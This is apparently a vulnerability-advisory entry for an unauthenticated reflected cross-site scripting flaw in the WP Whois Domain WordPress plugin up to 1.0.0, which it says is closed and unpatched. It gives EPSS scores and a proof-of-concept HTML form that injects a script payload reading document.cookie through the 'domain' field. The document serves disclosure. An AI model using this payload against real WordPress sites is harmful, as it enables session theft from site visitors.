WP Whois Domain <= 1.0.0 - Unauthenticated Cross-Site Scripting (XSS)

2016-11-2800:00:00

ethicalhack3r

0.001 Low

EPSS

Percentile

44.8%

JSON

The plugin is still affected and has been closed.

<form action="[url of page with the whois form]" method="post">
  <input type="hidden" name="domain" value="&quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;">
  <input type="submit" value="Submit">
</form>

References

rastating.github.io/wp-whois-domain-reflected-xss/

0.001 Low

EPSS

Percentile

44.8%

JSON

Related for WPEX-ID:CE179C5B-DB60-465C-A359-DB2522D5135A